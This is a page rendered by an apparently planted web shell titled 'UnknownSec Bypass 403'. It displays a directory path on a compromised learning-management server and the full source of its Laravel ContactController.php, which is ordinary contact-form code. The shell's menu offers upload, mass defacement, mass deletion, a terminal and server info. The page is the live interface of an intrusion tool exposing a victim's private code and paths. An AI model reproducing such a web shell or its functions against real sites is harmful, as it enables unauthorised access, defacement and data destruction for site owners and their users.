UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_2f09a0f3189b
/
app
/
Http
/
Controllers
/
Site
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
ContactController.php
<?php namespace EstudioLMS\Http\Controllers\Site; use EstudioLMS\Events\SiteContact; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Http\Requests\Site\ContactRequest; use mjanssen\BreadcrumbsBundle\Breadcrumbs; /** * Class ContactController * @package EstudioLMS\Http\Controllers\Site */ class ContactController extends Controller { /** * @var Breadcrumbs */ private $breadCrumb; /** * SiteController constructor. * @param Breadcrumbs $breadCrumb */ public function __construct( Breadcrumbs $breadCrumb ) { $this->breadCrumb = $breadCrumb; } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function index() { $this->breadCrumb->addBreadcrumb('Home', route('index')); $this->breadCrumb->addBreadcrumb('Contatos', route('site.contact')); $bread = $this->breadCrumb->generate(); $title = 'Entre em Contato'; return view('site.contact', compact('title', 'bread')); } /** * @param ContactRequest $request * @return \Illuminate\Http\RedirectResponse */ public function send(ContactRequest $request) { $sent = \Event::fire(new SiteContact($request->all())); if ($sent[0]['status'] == false) { flash()->warning($sent[0]['message']); } else { if(count($sent[0]['failures']) <= 0) { flash()->success('E-mail enviado com sucesso!'); } else { flash()->warning('Não foi possível entregar a mensagem ao destinatário: ' . $sent[0]['failures'][0]); } } return redirect()->route('site.contact'); } }
Copyright © 2026 - UnknownSec